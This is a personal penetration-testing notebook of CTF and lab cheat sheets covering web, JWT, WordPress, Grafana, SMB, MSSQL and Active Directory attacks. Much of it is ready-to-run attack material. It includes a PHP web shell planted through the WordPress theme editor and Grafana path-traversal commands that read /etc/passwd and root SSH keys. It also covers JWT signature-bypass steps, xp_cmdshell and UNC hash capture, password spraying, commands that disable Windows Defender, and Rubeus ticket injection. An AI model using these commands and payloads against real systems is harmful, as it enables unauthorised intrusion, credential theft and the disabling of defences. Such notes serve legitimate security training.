# Welcome

Senior Security Engineer, Hacker, Penetration Tester, and Software Engineer. Content Creator on YouTube. Active Player of CTFs on Hack The Box and TryHackMe.

**Hi All,**

My Name is Ali (Programmerboy), I am creating these Notes on Pentesting, Bug Bounty, Red Teaming, and CTFs on HackTheBox and TryHackme for my learning and the Community. All these Notes are Handwritten by myself and I have Explained Every topic as simple as possible for the understanding of the people.&#x20;

You can Follow and Message me on the below Links, **I would love to hear back from you!!!**

{% embed url="<https://www.youtube.com/@programmerboy6315>" %}

{% embed url="<https://github.com/pro6rammerboy>" %}

{% embed url="<https://twitter.com/programmer__boy>" %}

{% embed url="<https://www.linkedin.com/in/pro6rammerboy/>" %}


# Pentesting Port 80,443

## Nmap Scan Command

```python
# -A means Aggressive Scan
# -v means Verbose Output

 # i normally use this command for initial scan this works best for me 
 
nmap -A -v 10.10.10.10  
```

## Nmap Full  Port Scan Command (If you want to Speed Up )

```python
# --min-rate will make the scan faster, you can send any number of packets you want 

# I run this command more than 2 times to confirm, because it is very fast

nmap -A -v -p- --min-rate=10000 10.10.10.10

```

## Directory BruteForcing

For Directory Bruteforcing my favourite Tool is **FFUF** and **Feroxbuster**

### Feroxbuster Command

```python
# this is the command which i use when i use feroxbuster
# I Normally Change this command based on the output
# i have edited the configuration file to use common.txt wordlist from seclist
 
feroxbuster -u https://www.google.com/
```

<figure><img src="/files/Z9rmAi1LuwM2JfzDdyjE" alt=""><figcaption></figcaption></figure>

### Feroxbuster POST and GET Fuzzing

```python
feroxbuster -u http://www.google.com -m GET,POST
```

<figure><img src="/files/p9bRuWF7rvgCk9Dc8u88" alt=""><figcaption></figcaption></figure>

### Changing the Conf of Feroxbuster

I use **Sublime text** for editing my stuff and for code editing i use **VScode**

```html
┌──(root㉿kali)-[~]
└─ subl /etc/feroxbuster/ferox-config.toml

```

<figure><img src="/files/ulLYZRG4jNPppeleuYHS" alt=""><figcaption><p>I have set the wordlist to Common.txt from seclist</p></figcaption></figure>

## FFUF Command

I use the following command when i use **FFUF**

```python
# -u is for url
# -w is for wordlist
# -c is for colors

# i use more flags as well for filtering, but this is my basic command

ffuf -u https://www.google.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -c
```

<figure><img src="/files/i3TiTGHyDgPB4NFS6FZN" alt=""><figcaption></figcaption></figure>


# Pentesting GIT

## Git-Dumper To Download Git data

We can use Git-Dumper to download the entire git repository.

```
```


# FFUF Commands

## FFUF for Dir and Files

```python
ffuf -u http://10.10.110.62:8080/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -c -e php,txt,html 
```

## FFUF for vhost Scanning

We can use FFUF to Scan for the Virtual Hosts, i am using **names.txt** from seclists

```python
ffuf -u http://inlanefreight.htb -H "HOST: FUZZ.inlanefreight.htb" -w /usr/share/seclists/Discovery/DNS/namelist.txt
```

i have used filtering as well because i was getting 10918 and 0 size on every vhost so i filtered them

<figure><img src="/files/T9y028S032Nfw48yMyPb" alt=""><figcaption></figcaption></figure>

## FFUF using BurpSuite Request File

if you want to do some fuzzing in a BurpSuite Request, then you can  you can add the request in a file and pass the file to FFUF, just like we do with sqlmap

```javascript
ffuf -request ffuf-request -w /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt -request-proto http
```

i have used **-fs 781** because i wanted to filter size 781

<figure><img src="/files/ClbJoKswCosUuxUuwz7L" alt=""><figcaption></figcaption></figure>


# Javascript DeObfuscation

## DeObfuscate and UnPack to Read the Full Source Code

We can use the following link to deobfuscate the javascript code

{% embed url="<https://deobfuscate.io/>" %}

<figure><img src="/files/cU0vEDKYhmYembuSSTT0" alt=""><figcaption></figcaption></figure>

But Still I am unable to Understand the Code, because this javascript code is **Packed,** so we need to unpack the code using the following link

{% embed url="<https://matthewfl.com/unPacker.html>" %}

now i can read the code easily and find the enpoints and see how the request is being made

<figure><img src="/files/sUDdgPGW0d4Iv4OwaVx5" alt=""><figcaption></figcaption></figure>

## Javascript Code DeObfuscate by Running it

We can use **developer Console** to actually run the javascript code and we can see what it is doing, we just need to copy the code and then run it in the developer console

&#x20; Below i can see the output of the javascript code in developer console

<figure><img src="/files/v6ch3liP8wRBlpWTDG8Z" alt=""><figcaption></figcaption></figure>


# Pentesting JWT (JSON Web Tokens)

## Basic JWT Information Using JWT\_TOOL

```
python jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0XzQ1MzAiLCJpYXQiOjE3Mjk4ODYxNTR9.cCgbU50zeYpH0cUZ9ioFe9eaHqmXp6b2ffkpTJ5-zAg
```

<figure><img src="/files/lf01GQ9OIDt3rXYsXdnr" alt=""><figcaption></figcaption></figure>

## Cracking JWT-Tokens&#x20;

### JWT-Cracker to Crack JWT Token

```
jwt-cracker -t eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0XzQ1MzAiLCJpYXQiOjE3Mjk4ODYxNTR9.cCgbU50zeYpH0cUZ9ioFe9eaHqmXp6b2ffkpTJ5-zAg -d /usr/share/wordlists/rockyou.txt
```

<figure><img src="/files/eWQjQhT92q7hgUjWibNu" alt=""><figcaption></figcaption></figure>

### Hashcat to Crack JWT Tokens

we can use Hashcat on windows and Linux both to crack JWT Token, We just need to provide the hash file and the Wordlist

#### For Windows

you need to go into Hashcat folder to run this.

```
hashcat.exe C:\Users\username\Desktop\hash-file.txt C:\Users\username\Desktop\Shared\Wordlists\rockyou.txt
```

#### For Linux

```
hashcat <hashfile> <Path to Wordlist>
```

## JWT Auth Bypass via weak Signing key

If we are successfully able to crack the secret of the JWT Token then we can modify and sign the JWT token again and craft our attack

For this we can use burpsuite extensions like **JSON Web Tokens** and **JWT Editor** Both works well for this

If we use **Json Web Tokens**

<figure><img src="/files/NfPjxyXBYMpj7qdH2bfO" alt=""><figcaption></figcaption></figure>

If we use **JWT EDITOR KEYS**

you need to add a new symmetric key and specify the secret and generate the key

<figure><img src="/files/J7yVYWP7KOSS40PhiXJH" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/F7eUGmbkuTJN0t4DgIAs" alt=""><figcaption></figcaption></figure>

then go into the repeater and go into JSON Web Token and click Sign

<figure><img src="/files/mLwXHIHmsLmxw9dQpIsy" alt=""><figcaption></figcaption></figure>

Click OK and the Send the Request and it will Work.

## JWT Auth Bypass using JWK Header Injection

We can also bypass auth by using public and private key concept in JWT Tokens, to do this we can generate a new RSA Key pair, and we can inject the Public key in the Header of the JWT Token, then we can encrypt the JWT Token with Private key so in this case server will always verify the Token and we can sign the token as we want

To Perform this attack, we can use **JWT Editor Keys** Extension in BurpSuite

1. Generate a new RSA Key

<figure><img src="/files/JkInbSX6FtpMjiONPdJK" alt=""><figcaption></figcaption></figure>

2. Go to Repeater Tab and go into JSON Web Tokens and the click on Attack and Click on Embed JWK

<figure><img src="/files/98BRrcijmt6bBQWn984u" alt=""><figcaption></figcaption></figure>

3. Select the RSA key you created

<figure><img src="/files/RozSw6aKGaJXReXzkDRS" alt=""><figcaption></figcaption></figure>

4. Click OK and the attack is done, now you can Sign the JWT Token. and Perfrom the Attack.

## Algorithm Confusion Attacks in JWT Token

### When Public key is Available on the Web Server (Utilizing JWKS.JSON file)

We can start testing for Algorithm Confusion attacks by simply changing the algorithm of the jwt token into HS256 from RS256

The question is that we need to find the public key, otherwise, this attack will never work, and we will not be able to sign our JWT token&#x20;

Looking below at the image we can see that i want to create a webhook and i am having 403 forbidden, so i can try to do an Algorithm Confusion attack to get a 200 OK response.

<figure><img src="/files/42qh3kEPWk4UtD3MSm9y" alt=""><figcaption><p>Current JWT Token does not allow to create a WebHook</p></figcaption></figure>

<figure><img src="/files/XRwfJRmoCyVMkZ5d390t" alt=""><figcaption><p>We can see the algorithm that is RS256</p></figcaption></figure>

Now the Problem here is that we need to get the **Public key**, now we need to find it on the server by doing different directory Bruteforcing tools, I can use here **Feroxbuster.**

**Luckily I was able to find the Jwks.json file by doing directory Bruteforcing**

```javascript
feroxbuster -u http://webhooks-api-beta.cybermonday.htb/ -W 0,57
```

<figure><img src="/files/Lew72jGzR8TP4k0uJhD2" alt=""><figcaption><p>Found jwks file on the webserver using feroxbuster</p></figcaption></figure>

<figure><img src="/files/hr81E1JhULGoY13ApWL8" alt=""><figcaption><p>Contents of the Jwks.json file which contains the public key</p></figcaption></figure>

Now I need to convert this into a proper format and then sign the JWT token and I will change the user role to admin and let's see whether I can access the **/create/webhook** endpoint or not

for this purpose, i will be using **Python3**

{% code overflow="wrap" %}

```javascript
>>> import base64 //import the module
>>> from Crypto.PublicKey import RSA //import the module
>>> int.from_bytes(base64.b64decode("AQAB"),'big') //get in exponent form
>>> e= int.from_bytes(base64.b64decode("AQAB"),'big') // save in e variable

>>> n= int.from_bytes(base64.urlsafe_b64decode("pvezvAKCOgxwsiyV6PRJfGMul-WBYorwFIWudWKkGejMx3onUSlM8OA3PjmhFNCP_8jJ7WA2gDa8oP3N2J8zFyadnrt2Xe59FdcLXTPxbbfFC0aTGkDIOPZYJ8kR0cly0fiZiZbg4VLswYsh3Sn797IlIYr6Wqfc6ZPn1nsEhOrwO-qSD4Q24FVYeUxsn7pJ0oOWHPD-qtC5q3BR2M_SxBrxXh9vqcNBB3ZRRA0H0FDdV6Lp_8wJY7RB8eMREgSe48r3k7GlEcCLwbsyCyhngysgHsq6yJYM82BL7V8Qln42yij1BM7fCu19M1EZwR5eJ2Hg31ZsK5uShbITbRh16w=="),'big') //get in exponent form and save in variable n 

>>> RSA.construct((n,e))
RsaKey(n=21077705076198164110050345996612932810772518568443539050967722091376715840724373912088648727462840166356037836008797866810613752598694921174993091914759002593675145922598909469318911554819111261819241455997350276504601809923734199273292278943649872262588721789631926559440043091439126662856921713786579174831565901935033306650397146382742890508658151492282389201858268597532677527914866223650606412599907677018538379813464063685144477862245532615744296358390508702719361603975980307523385389095548127340792700450704825980888363887958403440479605178094454574416540689804276427673977731782835533403716740628865097430507, e=65537) // make a public key

key =RSA.construct((n,e)) // save the public key in key variable

print(key.exportKey().decode()) // print the public key



```

{% endcode %}

<figure><img src="/files/WGWljMXODtW2ipSLvDnB" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/exANFJrz1s51QnJTzjwi" alt=""><figcaption></figcaption></figure>

**I will base64 encode this public key** by saving it into a file

```javascript
 base64 public-key -w 0
```

<figure><img src="/files/Ale86bws1BciIsEof2ug" alt=""><figcaption></figcaption></figure>

now I can use this public key to sign the JWT Token and then and then I can change the account role in <https://jwt.io/> and hopefully I will be able to access the webhook page.

<figure><img src="/files/qgpcUkMnN92HWoz8coXA" alt=""><figcaption></figcaption></figure>

Finally, it worked I am not getting 403 error anymore which means I have successfully done an Algorithm Confusion attack.

<figure><img src="/files/QE16djEiWoRDuIjFI4uR" alt=""><figcaption><p>Successfully completed the algoritm confusion attack </p></figcaption></figure>


# Pentesting Graphql

## Introspection Query

We can test for introspection query if it is enabled or not by using Burpsuite Extension Called **GRAPHQL.** A Normal GraphQL Request and Response Looks like below

<figure><img src="/files/GSiqWoJky00ZwnnaHPs5" alt=""><figcaption></figcaption></figure>

now go to GRAPHQL at the top and then **Right Click > GRAPHQL > SET INTROSPECTION QUERY** and the Query will be auto Generated and we can see introspection enabled.

<figure><img src="/files/mdPkxEoKWERuyDdVYNA4" alt=""><figcaption></figcaption></figure>


# Pentesting Redis 6379

Redis is an open-source in-memory storage, used as a distributed, in-memory key–value database, cache and message broker, with optional durability.

## Install Redis Locally Using Docker (Latest Version)

```javascript
docker run -p 6379:6379 redis:latest //pull the latest Docker image of redis

docker ps //look at the running docker processes

docker exec -it <Container id> sh // run the shell on the container

redis-cli // get into the cli of redis on the container

```

<figure><img src="/files/NilGhhRMKIKQn5XH5dPx" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/XFevhf4WbV3YRiLHeqU3" alt=""><figcaption></figcaption></figure>


# Wordpress Pentesting

## WordPress Structure

```php
.
├── index.php
├── license.txt
├── readme.html
├── wp-activate.php
├── wp-admin
├── wp-blog-header.php
├── wp-comments-post.php
├── wp-config.php
├── wp-config-sample.php
├── wp-content
├── wp-cron.php
├── wp-includes
├── wp-links-opml.php
├── wp-load.php
├── wp-login.php
├── wp-mail.php
├── wp-settings.php
├── wp-signup.php
├── wp-trackback.php
└── xmlrpc.php
```

## WordPress User Roles

***

There are five types of users in a standard WordPress installation.

| Role          | Description                                                                                                                                            |
| ------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ |
| Administrator | This user has access to administrative features within the website. This includes adding and deleting users and posts, as well as editing source code. |
| Editor        | An editor can publish and manage posts, including the posts of other users.                                                                            |
| Author        | Authors can publish and manage their own posts.                                                                                                        |
| Contributor   | These users can write and manage their own posts but cannot publish them.                                                                              |
| Subscriber    | These are normal users who can browse posts and edit their profiles.                                                                                   |

## WPScan

### Basic Scan

```
wpscan --url http://127.0.0.1
```

### Enumerate Plugins using WPScan

```bash
 wpscan --url http://94.237.49.182:58555/ --enumerate ap
```

### Enumerate Users using WPScan

```bash
wpscan --url http://94.237.49.182:58555/ --enumerate u
```

### WPScan Aggressive Mode Plugins

```python
wpscan --url http://blog.inlanefreight.local -e ap --no-banner --plugins-detection aggressive --plugins-version-detection aggressive --max-threads 60

```

### ALL in ONE WPSCAN Command

```python
wpscan --url target.com --disable-tls-checks --api-token <api-token> -e at -e ap -e u --enumerate ap --plugins-detection aggressive --force
```

### Normal WPSCAN Bruteforce Attack

```python
wpscan --url http://example.com --passwords /usr/share/wordlists/rockyou.txt
```

### &#x20;

### BruteForce attack using WPScan

WPScan can be used to brute force usernames and passwords. The scan report returned three users registered on the website: `admin`, `roger`, and `david`. The tool uses two kinds of login brute force attacks, `xmlrpc` and `wp-login`. The `wp-login` method will attempt to brute force the normal WordPress login page, while the `xmlrpc` method uses the WordPress API to make login attempts through `/xmlrpc.php`. The `xmlrpc` method is preferred as it is faster.

```python
wpscan --password-attack xmlrpc -t 20 -U admin, david -P /usr/share/wordlists/rockyou.txt --url http://blog.inlanefreight.com
```

<figure><img src="/files/XbJljRTrp6gNKNhfi5Gc" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/JIvtT6nr3ALDkmUrSnu5" alt=""><figcaption></figcaption></figure>

## RCE using ThemeEditor

we need to login as Administrator on WordPress Portal, then you need to go to theme editor page

edit the **404 theme** and add the reverse shell in it

<figure><img src="/files/SzGBqbnZtjJKK0pVJdtE" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/uXl8lIVWB572XrGHdz4g" alt=""><figcaption></figcaption></figure>

or you can also add the below code as well

```php
<?php
system($_GET['cmd']);
?>
```

<figure><img src="/files/kSrbM6a3R6ZUKqqo6nND" alt=""><figcaption></figcaption></figure>

now save it and visit the below url to access it and execute it

```
http://<target>/wp-content/themes/twentyseventeen/404.php
```

<figure><img src="/files/CuVjEpH6ZmUqcG3FzLkZ" alt=""><figcaption></figcaption></figure>

and we have successfull RCE.

## XMLRPC.php&#x20;

It is important to note that `xmlrpc.php` being enabled on a WordPress instance is not a vulnerability. Depending on the methods allowed `xmlrpc.php` can facilitate some enumeration and exploitation activities, though.

if we have a username and password for the admin user we can try to get the information utilizing the xmlrpc.php&#x20;

```bash
curl -X POST -d "<methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value>admin</value></param><param><value>CORRECT-PASSWORD</value></param></params></methodCall>" http://blog.inlanefreight.com/xmlrpc.php
```


# Jenkins

## Jenkins Credentials Decryptor

if you have the Jenkins configuration files, which contain credentials.xml, config.xml, master.key, and hudson.util.secret. then you can decrypt the password from that using this <https://github.com/hoto/jenkins-credentials-decryptor>

{% code overflow="wrap" %}

```python
./jenkins-credentials-decryptor -c ./jenkins_configuration/jobs/build/config.xml -m ./jenkins_configuration/secrets/master.key -s ./jenkins_configuration/secrets/hudson.util.Secret
```

{% endcode %}

<figure><img src="/files/BAAB5VTobUEeYwPR1tyg" alt=""><figcaption></figcaption></figure>


# Grafana

## Grafana V8.0.0-beta1 - 8.3.0 - Directory Traversal and Arbitrary File Read

{% code overflow="wrap" %}

```python
http://10.10.99.76:3000/public/plugins/mysql/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
```

{% endcode %}

<figure><img src="/files/3VNaSegmujZSdKMjTgTU" alt=""><figcaption></figcaption></figure>

### Grafana Conf File

```
/etc/grafana/grafana.ini
```

<figure><img src="/files/BzFo3bE9xKB0nNfUqFu1" alt=""><figcaption></figcaption></figure>

### Interesting LFI Files

{% code fullWidth="false" %}

```python
curl --path-as-is http://10.10.99.76:3000/public/plugins/mysql/../../../../../../../../etc/passwd -o passwd
curl --path-as-is http://10.10.99.76:3000/public/plugins/mysql/../../../../../../../../etc/grafana/grafana.ini -o grafana.ini
curl --path-as-is http://10.10.99.76:3000/public/plugins/mysql/../../../../../../../../var/lib/grafana/grafana.db -o grafana.db
curl --path-as-is http://10.10.99.76:3000/public/plugins/mysql/../../../../../../../../root/.ssh/id_rsa
curl --path-as-is http://10.10.99.76:3000/public/plugins/mysql/../../../../../../../../root/.bash_history
curl --path-as-is http://10.10.99.76:3000/public/plugins/mysql/../../../../../../../../home/grafana/.ssh/id_rsa
curl --path-as-is http://10.10.99.76:3000/public/plugins/mysql/../../../../../../../../home/grafana/.bash_history
```

{% endcode %}

## Grafana2Hashcat

We can convert the hashes from graphana to hashcat using this tool

Hashes should be in this format

HASH,SALT

{% embed url="<https://github.com/iamaldi/grafana2hashcat>" %}

```python
python3 grafana2hashcat.py grafana_hashes.txt -o output-hash.txt
```

<figure><img src="/files/JXpdNeyoY0GPPuOsYh8Y" alt=""><figcaption></figcaption></figure>


# Nmap Commands

## Nmap Scan Top Ports

```python
nmap -A -v --top-ports 20
```

### Nmap Scan on List of Hosts

```
nmap -A -v -iL Hosts.txt -oN output.txt
```

## Masscan

Massscan full port scan for TCP and UDP Both

```python
masscan -p1-65535,U:1-65535 --rate=1000 10.10.10.74 -e tun0  
```

## Rustscan with Nmap (Fast Port Scanning)

This command Finds out Open Ports Quicky, then Passes the ports to Nmap with -A Flag to do Aggressive Scan

```python
rustscan -a 10.10.68.208 -- -A # Single IP

rustscan -a 192.168.1.1,192.168.1.2,192.168.1.3 -- -A  # Multiple IPs

```

<figure><img src="/files/lPnGMjDpHD99RHDdnTSo" alt=""><figcaption></figcaption></figure>

## Get IP, MAC && Vendor Name

```python
 nmap -sn 172.26.10.0/24 | grep -E "Nmap scan report|MAC Address" | awk '/Nmap scan report/ {ip=$5} /MAC Address/ {print ip, $3, $4, $5}'
```

<figure><img src="/files/whQOseggqAMMcpiz7sh7" alt=""><figcaption></figcaption></figure>

## Get Only IP IPaddress

```python
nmap -sn 172.26.10.0/24 | grep "Nmap scan report" | awk '{print $5}'
```

<figure><img src="/files/FgxtJy7KEecb0JFdNqto" alt=""><figcaption></figcaption></figure>

## Port Scan Script On all Ips

```python
while read ip; do        
  echo "Port scan for $ip:" >> port_scan_results.txt
  nmap -A $ip >> port_scan_results.txt      
  echo "------------------------" >> port_scan_results.txt
done < ips.txt

```


# 53 - Pentesting DNS

## DNS Zone Transfer Online

We can use the following website to do DNS Zone Transfer

{% embed url="<https://hackertarget.com/zone-transfer/>" %}

We can get a lot of interesting information doing Zone Transfer below we can see that i did a zone transfer **zonetransfer.me**

<figure><img src="/files/4wVO8G9s2UEe7NNhdxcw" alt=""><figcaption></figcaption></figure>

## Zone Transfer using NSLookup

We can use nslookup as well to do zone transfer Manually

```javascript
nslookup -type=NS zonetransfer.me // Nameservers

nslookup -type=any -query=AXFR zonetransfer.me nsztm1.digi.ninja //any and axfr 

```

Sometimes you might not get anything using zone transfer so you need to check that wether the IP address is actually the DNS for Domain or not, by using Below command

```python
nslookup -type=ns inlanefreight.htb 10.129.121.23
```

<figure><img src="/files/M8tfao6CEwSU2d7CniRy" alt=""><figcaption></figcaption></figure>

## Zone Transfer using DIG

```python
dig <Domain Name>
dig <Domain Name> @<IP Address>

#Example
dig inlanefreight.htb
dig axfr inlanefreight.htb @10.129.121.23
```

<figure><img src="/files/ORWF36NVgm44ckFayVCM" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/e0kd1um94jMyJbi8jVnn" alt=""><figcaption></figcaption></figure>

## DNScan

We can use dnscan to find out some more valuable information like subdomains, DNScan comes with its own wordlists which we can use

1. -d -------> Domain
2. -w ------> wordlist

<figure><img src="/files/aPMms2h7zWcHo9LiXsIt" alt=""><figcaption></figcaption></figure>


# 88 - Pentesting Kerberos

## Kerbrute

To enumerate and Find Valid Usernames we can use Kerbrute

{% code overflow="wrap" %}

````python
```
## kerbrute enumusers command

kerbrute userenum -d <domain-name> --dc <domain-name> <wordlist-path>       # make sure you use different wordlists
kerbrute userenum -d <domain-name> -dc-ip <IP-Address> <wordlist-path>

EXAPMLE:

kerbrute userenum -d scrm.local --dc scrm.local /usr/share/wordlists/kerberos_enum_userlists/A-ZSurnames.txt

kerbrute userenum -d baby.vl --dc baby.vl users.txt
````

{% endcode %}


# 111 - Pentesting RPC

## Change the Password of Domain User

We can change the password of the domain user if we have privielges to do so using rpcclient

```
rpcclient <DC IP HERE> -U 'Domain\username'

# To change the password

setuserinfo <victim user> 23 <new-password> 
```


# 389 - Pentesting LDAP

## Base Naming Context

You need to find the base naming context using the below command

```python
ldapsearch -H ldap://10.10.11.168 -x -s base namingcontexts
```

### After Getting Base naming Context

<pre class="language-python" data-overflow="wrap"><code class="lang-python">ldapsearch -H ldap://10.10.11.168 -x -b "DC=scrm,DC=local" 

or

ldapsearch -H ldap://10.10.11.168 -x -s sub -b "DC=scrm,DC=local"

or

ldapsearch -H ldap://10.10.11.168 -x -s base -b "DC=scrm,DC=local" 

# now you will get a lot of information to where you can find usernames and other information as well
<strong>#try to do grepping on it as well (grep -i pwd, svc,user,password,)like this 
</strong></code></pre>

## Getting SamAccount name from LdapSearch

{% code overflow="wrap" %}

```python
ldapsearch -H ldap://10.10.87.0 -x -b "DC=baby,DC=vl"  | grep -i samaccountname | awk -F ': ' '{print $2}'
```

{% endcode %}

## Getting Description from LdapSearch

{% code overflow="wrap" %}

```python
ldapsearch -H ldap://10.10.87.0 -x -b "DC=baby,DC=vl" | grep description
```

{% endcode %}


# 445 - Pentesting SMB

## NetExec

netexec is the latest tool which can be used to enumerate SMB protocol

### Banner Grabbing of IPs using netexec

make a list of ips in a file and then used the below command

```python
netexec smb ips.txt 
```

### Password Spraying using netexec

this will try to list all the shares

```
netexec smb ips.txt -u users.txt -p passwords.txt 
```

### Netexec to see shares

we can see shares as well using netexec

```python
netexec smb ips.txt -u users.txt -p passwords.txt --shares
```

## SMBClient

### List Shares using SMBClient

We can use smbclient to list the shares and login to the shares as well

```python
smbclient -N -L //10.10.11.236
```

### List Shares with User and Pass

when we have a username and password we can try this

```python
smbclient -L \\\\10.0.9.158\\ -U noc
Password for [WORKGROUP\noc]:

```

<figure><img src="/files/4WqqUUO6DFxDmFL7kDXY" alt=""><figcaption></figcaption></figure>

### Download files using SMBClient

Login to SMB

```python
smbclient \\\\10.0.9.158\\IPC$ -U noc
```

<figure><img src="/files/neKFXbRXwn1gUSokxluv" alt=""><figcaption></figcaption></figure>

now use the following commands and it will recursively download all the files in your kali linux

```python
smb: \> recurse ON  
smb: \> prompt OFF  
smb: \> mget *

#after this you can find any file using the find command

find . -type f
```

## SMBMAP

### List Shares using SMBMAP

```
smbmap -H 10.0.9.158 -u username -p password
```

<figure><img src="/files/c04OhDbsMzKjL4yNPPdR" alt=""><figcaption></figcaption></figure>

### Directory Structure Listing of a Share Recursively

```
smbmap -H 10.0.9.158 -u username -p 'password' -r IPC$
```

<figure><img src="/files/skKFK6chHs5FICSMQoaC" alt=""><figcaption></figcaption></figure>

### Download files from Shares using SMBMAP

```python
smbmap -H 10.0.9.158 -u username -p 'password' -r IPC$ -A eventlog
```

<figure><img src="/files/MbUvh1zSftxSgzkbNpU5" alt=""><figcaption></figcaption></figure>

## STATUS\_PASSWORD\_MUST\_CHANGE

if you see status password must change, then you can change the password of that user using **impacket-smbpasswd**

```
impacket-smbpasswd baby.vl/Caroline.Robinson@10.10.88.65 -newpass 'Test1234!'
```

<figure><img src="/files/XJK3sxYicpngk0kYnjvn" alt=""><figcaption></figcaption></figure>


# 873 - Pentesting Rsync

rsync is a protocol which is used to sync and transfer files.

## Rsync

We can use rsync to see the files and folders which we can sync

```python
rsync --list-only -av rsync://10.10.65.244/  # List the Shared Folders

#after we see the files and folders, we can download those

rsync -av rsync://10.10.65.244/backups ./backups # Download the Shared Folders

```


# 1433 - Pentesting MSSQL

## Authentication with Creds

```
impacket-mssqlclient klendathu.vl/zim:football22@10.10.179.150 -windows-auth 
```

## RCE in MSSQL

### xp\_cmdshell

First We can try to enable xp\_cmdshell and then run commands easily

```python
enable_xp_cmdshell   # this enables xp_cmdshell
xp_cmdshell whoami   # whoami command works
```

### UNC Path Injection (xp\_dirtree)

we can use xp\_dirtree to authenticate to our own smb share, in this case we will be able to get the hash of the sql server user and then we can either relay the hash or crack the hash&#x20;

```python
# On MSSQL Server
xp_dirtree //10.10.8.85/doesnotexists
# OR
exec master.sys.xp_dirtree '\\10.10.8.85\doesnotexists',1,1

# On kali Linux
sudo responder -I tun0

# you should get a hash on your responder 
```

### xp\_fileexist && sys.dm\_os\_file\_exists

we can use file excist as well, and sys.dm\_os\_file\_exists to. In SQL Server 2017 xp\_fileexist was replaced by a dynamic funtion called sys.dm\_os\_file\_exists

```python
xp_fileexist 'C:\'


# Change this

exec master.dbo.xp_fileExist 'adsnt.dll'

# To this
SELECT * FROM sys.dm_os_file_exists ('adsnt.dll')

```


# 2049 - Pentesting NFS

## Showmount (to show the mounts)

```python
showmount -e 10.10.179.151
```

<figure><img src="/files/vwjok99u36ifmlJdDoRb" alt=""><figcaption></figcaption></figure>

## Mounting Remote Directories

```python
sudo mount -t nfs 10.10.179.151:/mnt/nfs_shares mnt -o nolock
```

<figure><img src="/files/Mamy3UrF2WTUihM6nDnY" alt=""><figcaption></figcaption></figure>


# 3389 Pentesting RDP

## Xfreerdp Command&#x20;

```python
xfreerdp /v:IP /u:USERNAME /p:PASSWORD +clipboard /dynamic-resolution /drive:$(pwd),share
```

<figure><img src="/files/rIrF9FMI4FtiLOsFqmcA" alt=""><figcaption></figcaption></figure>

## Login UI Enumeration

We can try to see the login page of the RDP to do some enumeration, this can be done by disabling Network Level Authentication

This approach bypasses the pre-authentication security layer that NLA normally provides. When NLA is disabled:

* The remote server will display the login GUI without requiring upfront authentication

```python
xfreerdp /v:10.10.73.33 -sec-nla
```

<figure><img src="/files/0SN3Ljdlnb4IzFW7wrXj" alt=""><figcaption></figcaption></figure>


# 3306 - Pentesting Mysql

## Basic Command&#x20;

```
mysql -h 172.18.0.1 -u root
```

### SSL is Required

you can ignore ssl checks by using the below command

```python
mysql -h 172.18.0.1 -u root --skip-ssl
```


# 5000 - Pentesting Docker Registry

## Looking for Repositories&#x20;

If you have found the **docker registry** always look at the following endpoints to **see the repositories**

```javascript
/v2/
/v2/_catalog  ----> {"repositories":["<repo-name>"]}
```


# Methodology

This Page shows the Complete methodology for Active Directory Pentesting

## Enumerating AD Environment

### Listing Shares on Windows

<pre><code>## view the shares
<strong>net view \\Computername.abc.corp  
</strong>
## List the Shares
dir \\computer-name.abc.corp     
</code></pre>

### Impacket-SmbServer to Host Files

We can use impacket-smbserver to host files as well and Run files from this share as well.

<pre class="language-python"><code class="lang-python">impacket-smbserver -smb2support -user test -password test share $(pwd)
<strong>
</strong>### without password
<strong>impacket-smbserver -smb2support share $(pwd)    
</strong></code></pre>

then on Target windows machine, we need to connect to this share and run our tools.

```
net use \\IP_add_of_kali\share
```

### Turn AV off&#x20;

```
# Run in CMD
"C:\Program Files\Windows Defender\MpCmdRun.exe" -removedefinitions -all 
### In PowerShell
Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true 
```

## PowerView Enumerating Basic Stuff

#### Enumerate AD Users

Only Get-DomainUser command will print very Long info so you can use below command to filter just the usernames&#x20;

```
Get-DomainUser | select -ExpandProperty samaccountname
```

#### Enumerating AD Computers

This command will get all of the computer names in the Domain.

```
Get-DomainComputer | select -ExpandProperty dnshostname
```

#### Enumerating Domain Admins Group

```
Get-DomainGroup -Identity "Domain Admins"
```

#### Enumerating Domain Admins Group Members

```
Get-DomainGroupMember -Identity "Domain Admins"
```

#### Enumerating Enterprise Admins Group Members

```python
Get-DomainGroupMember -Identity "Enterprise Admins"
#We need to query the root domain as Enterprise Admins group is present only in the root of a forest.
Get-DomainGroupMember -Identity "Enterprise Admins" -Domain moneycorp.local
```

### PowerView Enumerating Advanced

#### Enumerating ACL's

```python
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "USERNAME HERE"}

Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "GROUP NAME HERE"}
```

#### Enumerating Organizational Unit (OU)

```python
Get-DomainOU | select -ExpandProperty name
#Now, to list all the computers in the DevOps OU:
(Get-DomainOU -Identity DevOps).distinguishedname | %{Get-DomainComputer -SearchBase $_} | select name
```

## Tools and Commands

### Powerup.ps1

To Invoke any abuse function with your own username you can use below command.

```
Invoke-ServiceAbuse -Name 'AbyssWebServer' -UserName 'DOMAIN\USERNAME' -Verbose
```

### Bloodhound-python

We can use bloodhound to enumerate the domain if we have a valid set of credentials, we can use bloodhound.py kali linux script to do some enumeration

```python
 bloodhound-python --dns-tcp -ns 10.10.179.143 -d klendathu.vl -u 'zim' -p 'football22' -c all
```

### Rubeus Commands.

```python
# Request a TGT and Inject In Memory
Rubeus.exe asktgt /user:Username /rc4:HASH /domain:abc.local /ptt

